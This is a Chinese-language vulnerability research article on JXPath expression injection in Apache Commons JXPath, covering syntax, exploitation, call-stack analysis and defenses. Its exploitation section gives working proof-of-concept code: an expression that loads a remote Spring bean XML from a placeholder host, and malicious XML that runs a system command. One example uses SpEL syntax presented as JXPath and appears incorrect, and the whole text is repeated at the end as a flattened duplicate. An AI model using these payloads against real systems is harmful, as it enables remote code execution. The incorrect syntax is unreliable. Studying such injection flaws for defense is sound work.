jxpath表达式注入漏洞研究
字数 963 2025-08-22 12:23:30

JXPath表达式注入漏洞研究

前言

JXPath是Apache Commons项目中的一个库,用于使用XPath语法导航和处理Java对象图。本文将深入研究JXPath表达式注入漏洞的原理、利用方式及防御措施。

JXPath表达式基础语法

JavaBean属性访问

JXPath可用于访问JavaBean的属性:

public class Employee {
    public String getFirstName(){ ... }
}

Employee emp = new Employee();
JXPathContext context = JXPathContext.newContext(emp);
String fName = (String) context.getValue("firstName");

嵌套Bean属性访问

JXPath可以遍历对象图:

public class Employee {
    public Address getHomeAddress(){ ... }
}

public class Address {
    public String getStreetNumber(){ ... }
}

Employee emp = new Employee();
JXPathContext context = JXPathContext.newContext(emp);
String sNumber = (String) context.getValue("homeAddress/streetNumber");

构造对象

JXPath可以使用标准扩展函数调用对象方法、类的静态方法以及使用任何构造函数创建对象:

Book book = (Book)context.getValue("com.myco.books.Book.new('John Updike')");

调用静态方法

Book book = (Book)context.getValue("com.myco.books.Book.getBestBook('John Updike')");

调用一般方法

String firstName = (String)context.getValue("getAuthorsFirstName($book)");

表达式恶意利用

通过构造方法利用

攻击者可以通过构造方法执行恶意代码:

import org.apache.commons.jxpath.JXPathContext;

public class JXpathDemo {
    public static void main(String[] args) {
        try {
            JXPathContext context = JXPathContext.newContext(null);
            String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://ip/poc.xml\")");
            System.out.println(key);
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
}

配合恶意XML文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
</beans>

调用静态方法利用

虽然Runtime.exec()不是静态方法,但如果存在其他危险的静态方法,也可以被利用:

// 假设存在一个危险的静态方法
public class MaliciousClass {
    public static void executeCommand(String cmd) {
        Runtime.getRuntime().exec(cmd);
    }
}

// 攻击者可以这样调用
context.getValue("com.example.MaliciousClass.executeCommand('malicious command')");

调用一般方法利用

利用Runtime执行命令:

context.getValue("T(Runtime).getRuntime().exec('calc')");

调用过程调试分析

调用栈分析

关键调用栈如下:

  1. JXPathContext.getValue()
  2. JXPathContext.interpret()
  3. PathParser.parseExpression()
  4. Function.invoke()

核心方法分析

关键方法逻辑:

  1. 获取基本信息:

    • String namespace: 函数命名空间(可能为空)
    • String name: 方法名
    • Object[] parameters: 方法参数列表
  2. 处理流程:

    • 检查命名空间
    • 处理参数
    • 查找实例方法或静态方法
  3. 方法查找:

    • 根据方法名和参数类型查找对应方法
    • 对静态方法和构造函数进行特殊处理
  4. 方法调用:

    • 最终通过function.invoke(context, parameters)调用目标方法

防御措施

  1. 输入验证:严格验证用户提供的JXPath表达式,禁止包含危险方法调用
  2. 沙箱环境:在受限环境中执行JXPath表达式
  3. 白名单机制:只允许特定的安全表达式
  4. 安全配置:禁用危险的扩展功能
  5. 最小权限:以最低必要权限运行应用程序

总结

JXPath表达式注入漏洞源于对用户输入的不当处理,允许攻击者通过构造恶意表达式调用危险方法。了解其原理和利用方式有助于开发更安全的应用程序。在实际开发中,应避免直接将用户输入作为JXPath表达式执行,或采取严格的过滤和限制措施。

JXPath表达式注入漏洞研究 前言 JXPath是Apache Commons项目中的一个库,用于使用XPath语法导航和处理Java对象图。本文将深入研究JXPath表达式注入漏洞的原理、利用方式及防御措施。 JXPath表达式基础语法 JavaBean属性访问 JXPath可用于访问JavaBean的属性: 嵌套Bean属性访问 JXPath可以遍历对象图: 构造对象 JXPath可以使用标准扩展函数调用对象方法、类的静态方法以及使用任何构造函数创建对象: 调用静态方法 调用一般方法 表达式恶意利用 通过构造方法利用 攻击者可以通过构造方法执行恶意代码: 配合恶意XML文件: 调用静态方法利用 虽然 Runtime.exec() 不是静态方法,但如果存在其他危险的静态方法,也可以被利用: 调用一般方法利用 利用Runtime执行命令: 调用过程调试分析 调用栈分析 关键调用栈如下: JXPathContext.getValue() JXPathContext.interpret() PathParser.parseExpression() Function.invoke() 核心方法分析 关键方法逻辑: 获取基本信息: String namespace: 函数命名空间(可能为空) String name: 方法名 Object[ ] parameters: 方法参数列表 处理流程: 检查命名空间 处理参数 查找实例方法或静态方法 方法查找: 根据方法名和参数类型查找对应方法 对静态方法和构造函数进行特殊处理 方法调用: 最终通过 function.invoke(context, parameters) 调用目标方法 防御措施 输入验证 :严格验证用户提供的JXPath表达式,禁止包含危险方法调用 沙箱环境 :在受限环境中执行JXPath表达式 白名单机制 :只允许特定的安全表达式 安全配置 :禁用危险的扩展功能 最小权限 :以最低必要权限运行应用程序 总结 JXPath表达式注入漏洞源于对用户输入的不当处理,允许攻击者通过构造恶意表达式调用危险方法。了解其原理和利用方式有助于开发更安全的应用程序。在实际开发中,应避免直接将用户输入作为JXPath表达式执行,或采取严格的过滤和限制措施。